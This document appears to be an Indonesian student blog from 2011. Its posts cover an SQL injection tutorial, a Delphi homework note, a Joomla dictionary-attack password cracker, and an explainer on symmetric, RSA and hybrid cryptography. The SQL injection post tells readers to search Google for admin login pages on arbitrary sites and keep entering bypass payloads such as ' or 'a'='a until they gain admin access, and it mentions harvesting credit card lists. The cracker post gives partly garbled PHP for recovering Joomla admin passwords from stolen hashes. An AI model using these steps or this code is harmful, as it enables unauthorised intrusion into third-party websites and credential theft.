Selasa, 10 Mei 2011

TUTORIAL SQL INJECTION
Pengertian SQL Injection
1) SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client.
2) SQL Injection merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Sebab terjadinya SQL Injection
1) Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus — yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.
Bug SQL Injection berbahaya ?
1) Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account.
2) Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.
3) Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.
Apa saja yang diperlukan untuk melakukan SQL Injection ?
1) Internet Exploler / Browser
2) PC yang terhubung internet
3) Program atau software seperti softice
Contoh sintaks SQL Injection
  1. $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
  2. isikan password dengan string ’ or ’’ = ’
  3. hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
  4. maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL
Gambar contoh SQL Injection
Contoh sintaks SQL Injection
  1. Sintaks SQL string ‘– setelah nama username
  2. Query database awal :

Contoh sintaks SQL Injection
SQL Injection melalui URL, contohnya :
Penanganan SQL Injection
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini
1. Merubah script php
Contoh script php semula :
$query = “select id,name,email,password,type,block from user ” .
“where email = ‘$Email’ and password = ‘$Password’”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “\n”;
exit();
}
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));
Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk query sebagai berikut :
Maka dilakukan perubahan script menjadi :
$query = “select id,name,email,password,type,block from user”.
“where email = ‘$Email’”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “\n”;
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));
2. Menggunakan MySQL_escape_string
Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;
3. Pemfilteran karakter ‘ dengan memodifikasi php.ini
Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php
Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVW XYZ"
validatepassword = true 
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
{anda bisa menambahi sendiri sesuai keinginan anda}
3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).
4) Masukkan kode berikut :
User name : ` or `a’='a
Password : ` or `a’='a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a’='a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 — ; “ or 0=0 — ; or 0=0 — ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel
Cara pencegahan SQL INJECTION
1) Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3) Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4) Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
5) Ubah “Startup and run SQL Server” menggunakan low privilege user di SQL Server Security tab.
Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan, kreatifitas dan kesabaran. Jika Anda memiliki ketiga-tiganya Anda akan berhasil.

Kamis, 21 April 2011

Tugas Delphi

Dapat tugaz dari pak ezar..
udah ngerjain ny..
judulnya pembelian motor, Tampilannya seperti di bawah ini:
Bagi kalian yang mau download materinya silahkan klik link ini Pembelian motor

Kamis, 07 April 2011

password cracker

password cracker
Konsep sederhana Joomla Password Cracker

Apa yang akan penulis jelaskan disini, begitu juga dengan apa yang telah penulis jelaskan pada tutorial sebelum-sebelumnya, mengenai hacking tentunya, di ibaratkan seperti pisau yang memiliki 2 sisi tajam, di satu sisi seorang admin web dapat menjaga ketat sitenya dengan aman, namun patut diketahui pula tidak ada sistem yang memiliki keamanan 100%, selalu saja ada bolong yang masih dapat di eksploitasi,tapi setidaknya dapat meminimalisir serangan yang ada, dan di sisi lain yang akan penulis terangkan nanti tentunya cenderung digunakan untuk kegiatan vandalisme/merusak oleh beberapa pihak. Ya, tidak heran jika teori tesis dan anti tesis kerapkali hadir dalam dunia perhackingan ini. Di satu sisi membangun tapi di sisi lain menghancurkan. Lantas yang harus di lakukan sekarang adalah, tetap waspada pada security risk yang ada, dan ketahuilah tamu tak diundang selalu menyempatkan waktunya untuk hadir memonitoring site anda, jika anda melakukan sedikit saja salah langkah akibatnya cukup fatal.
Waha… sepertinya intro tutorial harus dipisahkan sendiri dalam tutorial yang berbeda, jari penulis begitu asik menari-nari di atas tuts keyboard sampai-sampai lupa pada pokok pembahasan. :D.

Ya, berdasarkan artikel sebelumnya, betapa mudahnya seorang attacker mendapatkan username dan password sang administrator pada content management system seperti joomla, tapi masih terdapat satu masalah, dimana seorang attacker masih belum dapat melakukan eksploitasi lebih lanjut, dikarenakan password yang didapatkan itu masih dalam bentuk password yang terenkripsi, sehingga butuh perlakuan khusus lebih lanjut untuk mendapatkan password yang sesungguhnya. Di sinilah penulis akan mencoba menjelaskan sebuah konsep sederhana bagaimana mendapatkan suatu password asli yang terenkripsi, namun penulis hanya membatasi cracking password pada satu jenis hash saja, yaitu joomla hash password. Penjelasan yang akan penulis lakukan bukanlah mencoba membuat algoritma dekripsi password tetapi hanyalah penggunaan metode dictionary file, dimana untuk mendapatkan password asli cukup dilakukan pencocokan password dengan kamus data yang ada sehingga menghasilkan password yang sebenarnya. :D. Namun setiap aplikasi selalu saja memiliki kekurangan, penulis tidak menafikan hal itu. Karena kesempurnaan hanyalah milik sang Pencipta. ;) Kekurangannya adalah resource memori yang di butuhkan untuk metode seperti ini cenderung lebih besar dari ukuran biasanya.
Berikut adalah source code lengkap ‘simple joomla password cracker’ :
———————–// cut here



::: Joomla Password Cracker :::







Simple
Joomla Password Cracker

Developed by : ilmuwebsite.com





Masukkan
password hashnya disini :









Started: ”;
echo date(“F j, Y, g:i:s a”);
$lines = file(‘kamus2.txt’);
foreach ($lines as $line_num => $line)
{
check($line);
}
$lines = file(‘kamus1.txt’);
foreach ($lines as $line_num => $line)
{
check($line);
}
echo “
Finished : ”;
echo date(“F j, Y, g:i:s a”);
}
function check($a)
{
global $i;
$a=rtrim($a) ;
for($x=0;$x<=$i;$x++) { global $hashes; if (md5($a.$hashes[$x][1]) === $hashes[$x][0]) { echo “

The password is :

$a

”;
echo “Ended: ”;
echo date(“F j, Y, g:i:s a”);
}
}

}
?>


Tolong di kembangkan ya ?! :D



———————–// cut here
Untuk menjalankan script ini di localhost anda perlu merubah konfigurasi php.ini, yaitu dengan mengganti baris ini :
memory_limit = 32M ;










menjadi > 32, penulis menggantinya menjadi :
memory_limit = 256M ;
Ya, sebelum berlanjut, penulis akan membahas struktur password joomla yang terenkripsi terlebih dahulu, enkripsi password joomla biasanya terdiri dari hash dan salt. Standar enkripsi joomla biasanya berbentuk seperti ini :
b51498faae03f7cf533e3ed97fc00116:9VrQpQzdNQHhtieK
Hashnya itu terdapat pada bagian yang pertama yaitu b51498faae03f7cf533e3ed97fc00116, dan saltnya itu ada di bagian akhir 9VrQpQzdNQHhtieK, keduanya terlihat di pisahkan dengan titik dua “:”. Salt bagi seorang attacker berfungsi untuk membantu dalam pencarian password sesungguhnya.
Yang ditemukan disini adalah jika password berbentuk plain text di gabung dengan saltnya maka akan menghasilkan hash password joomla. Dengan kata lain jika : x + salt = hash joomla. Sehingga jika di implementasikan melalui enkripsi md5 :
md5(x + salt) = hash
maka :
md5(x + 9VrQpQzdNQHhtieK) = b51498faae03f7cf533e3ed97fc00116
berapakah x ? ( pak Mamat guru matematika di SMAN 4 Bogor kayanya tau. :D huehuehuehehe… )
Ya seperti pada baris kalimat ini :

if (md5($a.$hashes[$x][1]) === $hashes[$x][0])
{
echo “

The password is :

$a

”;

Dan hasilnya adalah …
















:D~~
Penulis yakin anda cukup familiar dengan source di atasnya. Dan algoritmanya pun cukup mudah. Script lengkap dan kamus passwordnya dapat di download di sini …
Selamat mencoba. Selamat mengembangkan ! :D

Jumat, 25 Maret 2011

kriptografi

Kriptografi Simetris


Algoritma Simetris (Algoritma Sandi Kunci Rahasia)

Algoritma simetris, sering juga disebut dengan algoritma kunci rahasia atau sandi kunci rahasia. Adalah algoritma kriptografi yang menggunakan kunci enkripsi yang sama dengan kunci dekripsinya. Algoritma ini mengharuskan pengirim dan penerima menyetujui suatu kunci tertentu sebelum mereka saling berkomunikasi. Keamanan algoritma simetris tergantung pada kunci, membocorkan kunci berarti bahwa orang lain dapat mengenkripsi dan mendekripsi pesan. Agar komunikasi tetap aman, kunci harus tetap dirahasiakan.

Sifat kunci yang seperti ini membuat pengirim harus selalu memastikan bahwa jalur yang digunakan dalam pendistribusian kunci adalah jalur yang aman atau memastikan bahwa seseorang yang ditunjuk membawa kunci untuk dipertukarkan adalah orang yang dapat dipercaya. Masalahnya akan menjadi rumit apabila komunikasi dilakukan secara bersama-sama oleh sebanyak n pengguna dan setiap dua pihak yang melakukan pertukaran kunci, maka akan terdapat sebanyak (n-1)/2 kunci rahasia yang harus dipertukarkan secara aman.

Contoh dari algoritma kriptografi simetris adalah Cipher Permutasi, Cipher Substitusi, Cipher Hill, OTP, RC6, Twofish, Magenta, FEAL, SAFER, LOKI, CAST, Rijndael (AES), Blowfish, GOST, A5, Kasumi, DES dan IDEA.

Kriptografi Asimetris

RSA merupakan algoritma kriptografi asimetris. Ditemukan pertama kali pada tahun 1977
oleh Ron Rivest, Adi Shamir, dan Leonard Adleman. Nama RSA sendiri diambil dari inisial nama
depan ketiga penemunya tersebut. Sebagai algoritma kunci publik, RSA mempunyai dua kunci,
yaitu kunci publik dan kunci pribadi. Kunci publik boleh diketahui oleh siapa saja, dan digunakan
untuk proses enkripsi. Sedangkan kunci pribadi hanya pihak - pihak tertentu saja yang boleh
mengetahuinya, dan digunakan untuk proses dekripsi. Algoritma RSA masih digunakan hingga
pada saat ini seperti yang diuraikan M. Zaki Riyanto dan Ardhi Ardhian:
Keamanan sandi RSA terletak pada sulitnya memfaktorkan bilangan yang besar. Sampai
saat ini RSA masih dipercaya dan digunakan secara luas di internet. (Kriptografi Kunci Publik:
Sandi RSA, 2008).

Gambar 1 Skema Kunci Asimetris
Skema algoritma kunci publik Sandi RSA terdiri dari tiga proses, yaitu proses
pembentukan kunci, proses enkripsi dan proses dekripsi. Sebelumnya diberikan terlebih dahulu
beberapa konsep perhitungan matematis yang digunakan RSA (RSA and Public Key
Criptography, 2003, hlm 61).
Algoritma Pembentukan Kunci:
1. Tentukan p dan q bernilai dua bilangan Prima besar, acak dan dirahasiakan.
p ≠ q, p dan q memiliki ukuran sama.
2. Hitung n = pq
Dan hitung ı(n) = (p-1)(q-1).
Bilangan integer n disebut (RSA) modulus.
3. Tentukan e bilangan Prima acak, yang memiliki syarat:
1 < e < ı(n) GCD(e, ı(n)) = 1, disebut e relatif prima terhadap ı(n), Bilangan integer e disebut (RSA) enciphering exponent. 4. Memakai algoritma Euclid yang diperluas (Extended Eucledian Algorithm). Menghitung bilangan khusus d, syarat 1 < d < ı(n) d ≡ e-1 mod ı(n) ed ≡ 1 (mod ı(n)) ed ≡ 1 + k.ı(n) untuk nilai k integer. Bilangan integer d disebut (RSA) deciphering exponent. 5. Nilai (n,e) adalah nilai yang boleh dipublikasi. Nilai d, p, q, ı(n) adalah nilai yang harus dirahasiakan. Pasangan (n,e) merupakan kunci publik. Pasangan (n,d) merupakan kunci rahasia. Keterangan · Fungsi ı(n) Phi-Euler merupakan fungsi terhadap bilangan bulat positif n yang meyatakan banyaknya elemen Zn yang mempunyai invers terhadap operasi pergandaan. Zn belum tentu merupakan grup terhadap operasi pergandaan, dengan kata lain, ı(n) adalah banyaknya elemen {x, 0 ≤ x < n | gcd(x,n) = 1} · Algoritma Euclid digunakan untuk mencari nilai GCD (Greatest Common Divisor) atau sering disebut FPB (Pembagi Persekutuan terbesar) dari dua bilangan bulat. Algoritma ini didasarkan pada pernyataan gcd (r0, r1) = gcd(r1, r2) ... gcd(rn-1, rn) = gcd(rn, 0) = rn Contoh: Akan dihitung gcd(40,24) Jawab: 40 = 1.24 + 16 40 mod 24 = 16 24 = 1.16 + 8 24 mod16 = 8 16 = 2.8 16 mod 8 = 0, stop Jadi gcd(40,24) = 8. Dua buah bilangan bulat a dan b akan dapat dikatakan relatif prima jika gcd(a,b) = 1. · Enkripsi: c = me mod n · Dekripsi: m = cd mod n Contoh enkripsi: Untuk mengenkripsi, dilakukan langkah – langkah sebagai berikut ini: - Ubah tiap karakter teks terang menjadi bilangan bulat 01 - 26 (A = 01, B = 02, … , Z = 26), dan bagi teks menjadi beberapa blok b yang besar tiap bloknya lebih kecil dari n. - Untuk tiap blok, hitung c = be (mod n). c menjadi blok teks sandi yang dikirimkan. Untuk mendekripkan kembali teks sandi, dilakukan langkah-langkah sebagai berikut : 9 JURNAL INFORMATIKA, VOLUME 5 NOMOR 1, APRIL 2009 - Hitung bilangan bulat d sedemikian hingga de = 1 (mod (p-1)(q-1)). Pasangan (n, d) merupakan kunci rahasia. - Untuk setiap blok sandi c yang diterima, hitung b = cd (mod n). Bagi pembuat sandi, dengan memilih 2 buah bilangan prima p dan q, tidaklah sulit untuk menghitung kunci publik n = pq, serta mendekripkannya kembali. Contoh Perhitungan: Andaikan B memilih p = 13 dan q = 17. Maka n = pq = 221. Berikutnya, misalkan secara acak B memilih e = 5 yang merupakan bilangan yang relatif prima dengan (p-1)(q-1) = 192. Maka kunci publik (n, e) = (221, 5). A hendak mengirim teks “TAMAN”, maka ia harus mengubahnya menjadi barisan angka - angka sebagai (A = 01, B = 02 , …): 20 01 13 01 14. Misalkan A mengambil blok dengan panjang 3 digit, maka ia memiliki 4 blok untuk disandikan, masing - masing adalah 200, 113, 011, 4 200 disandikan menjadi (200)5 (mod 221) = 200 113 disandikan menjadi (113)5 (mod 221) = 146 011 disandikan menjadi (11)5 (mod 221) = 163 4 disandikan menjadi (4)5 (mod 221) = 140 B yang menerima pesan sandi dari A harus mencari kunci rahasia yang didapat dari relasi ed = 5d = 1 (mod192). Didapat d = 77. Maka : didapat pesan asli 200 113 011 4 yang jika dikelompokkan dalam 2 digit menjadi 20 01 13 01 14 atau teks “TAMAN” seperti pesan semula. blok sandi 200 didekrip menjadi (200)77 (mod 221) = 200 blok sandi 146 didekrip menjadi (146)77 (mod 221) = 113 blok sandi 163 didekrip menjadi (163)77 (mod 221) = 11 = 011 (karena 3 digit) blok sandi 140 didekrip menjadi (140)77 (mod 221) = 4





Enkripsi Hibrida

Perlindungan data dapat dilakukan dengan metode enkripsi, namun hal ini tidak menjamin 100% perlindungan data anda. Enkripsi modern yang dianggap aman tidak selamanya bisa melindungi data Anda dari pencurian data. Mungkin dengan menggunakan kombinasi 2 metode enkripsi atau yang disebut dengan enkripsi hibrida mampu mengoptimalkan perlindungan data anda. Berikut sedikit penjelasan dasar tentang enkripsi dan prinsip dasar enkripsi hibrida.

Pengertian

Enkripsi adalah suatu metode yang digunakan untuk mengkodekan data sedemikian rupa sehingga keamanan informasinya terjaga dan tidak dapat dibaca tanpa di dekripsi (kebalikan dari proses enkripsi) dahulu. Diibaratkan seperti dua sisi mata uang. Suatu pesan dibuat seolah tidak bermakna dengan merubahnya menurut prosedur tertentu maka disebut Enkripsi(encryption), dan dibuat bermakna kembali dengan menggunakan prosedur yang biasanya kebalikannya, disebut juga dengan istilah Deskripsi(decryption).

Enkripsi menggunakan algoritma tertentu untuk mengacak pesan. Umumnya algoritma enkripsi dapat dibagi menjadi dua kelompok : algoritma untuk private key system dan algoritma untuk public key system. Contoh untuk algoritma yang digunakan di private key system adalah DES dan IDEA, sedangkan contoh algoritma yang digunakan di public key system adalah RSA dan ECC.

Metode Enkripsi Simetris dan Asimetris

Untuk menyandikan informasi dan untuk menterjemahkan pesan tersandi sebuah algoritma penyandiaan memerlukan sebuah data binary yang disebut kunci atau key. Tanpa kunci yang cocok seseorang tidak bisa mendapatkan kembali pesan asli dari pesan tersandi. Ada dua jenis system tersandi yang dikenal dengan istilah metode Simetris dan metode Asimetris.

Metode simetris menggunakan kunci yang sama dalam proses enkripsi maupun proses deskripsi. Sedangkan metode asimetris dalam melakukkan proses enkripsi menggunakan kunci yang berbeda dengan kunci yang digunakan dalam proses deskripsi. Contoh metode simetris adalah Data Encryption Standard (DES), sedangkan contoh metode asimetris adalah Ron Shamir Adleman(RSA).

Kunci Data

Kelemahan terbesar pada enkripsi adalah kunci(key). Prinsip Kerckhoff (dasar kriptografi) mengatakan bahwa aman-tidaknya metode enkripsi hanya tergantung pada kerahasiaan kuncinya, bukan kerahasiaan algoritma enkripsinya.

Sebuah kunci adalah pola yang mengenkripsi data asli. Algoritma menetapkan dalam bentuk apa itu terjadi. Ada dua hal metode enkripsi dasar, yaitu metode simetris dan asimetris. Simetris berarti kunci yang sama dipakai untuk encryption (enkripsi) dan decryption. Metode asimetris sebaliknya menggunakan kunci yang berbeda. Dapat dianalogikan dalam kehidupan sehari-hari seperti gembok dan kunci.

Hybrid (encoding dua tahap)

Selama pengguna hanya menyimpan data secara local di hard disk dan tidak mengirimkannya, enkripsi simetris sudah cukup aman. Keunggulan metode ini adalah cara kerjanya yang sangat cepat karena menggunakan algoritma matematis yang tidak rumit dan panjang kunci yang lebih pendek. TrueCrypt, misalnya dapat mengenkripsi sekitar 175 MB/detik.

Metode simetris kurang tepat untuk mentransfer data. Karena untuk dapat menggunakan datanya mitra komunikasi harus bertukar kunci yang dibuat secara acak untuk setiap sesi (Session Key), sehingga apabila jika seorang hacker menemukan kunci ini maka dengan mudah ia dapat men-decrypt komunikasi tersebut.

Metode asimetris mengatasi masalah tersebut dengan membuat sepasang kunci. Pengirim mengenkripsi data dengan sebuah Public Key yang didapat dari mitra komunikasinya. Hanya Private Key yang memiliki penerima dapat men-decrypt data. Dengan demikian, kunci untuk decryption tidak jatuh ke orang lain. Sebaliknya publikasi Public Key tidak menjadi masalah karena tidak dapat men-decrypt data. Private Key juga tidak dapat diturunkan dari Public Key, seperti halnya sebuah gembok yang digunakan untuk mengunci gerbang, tetapi tidak dapat membukanya kembali.

Metode asimetris juga memiliki kelemahan. Karena lebih rumit, metode ini bekerja 1000 kali lebih lambat dibandingkan metode simetris, sehingga tidak tepat untuk data dalam jumlah besar. Dalam praktiknya, misalnya pada transfer data di Internet, lalu lintas e-mail atau online banking, digunakan metode hibrida. Metode Hibrida mengenkripsi data sebenarnya secara simetris, tetapi kuncinya secara asimetris. Metode semacam ini mengkombinasikan pertukaran kunci yang aman dan data encryption yang cepat.


Metode hibrida terdiri atas enkripsi simetris dengan satu kunci (Session Key) dan enkripsi asimetris dengan sepasang kunci (Public/Private Key).

Langkah 1 : Pengirim mengenkripsi teks dengan Session Key.

Langkah 2 : Mengenkripsi Session Key dengan Public Key.

Langkah 3 : Penerima men-decrypt Session Key dengan Private Key.

Langkah 4 : Men-decrypt teks dengan Session Key.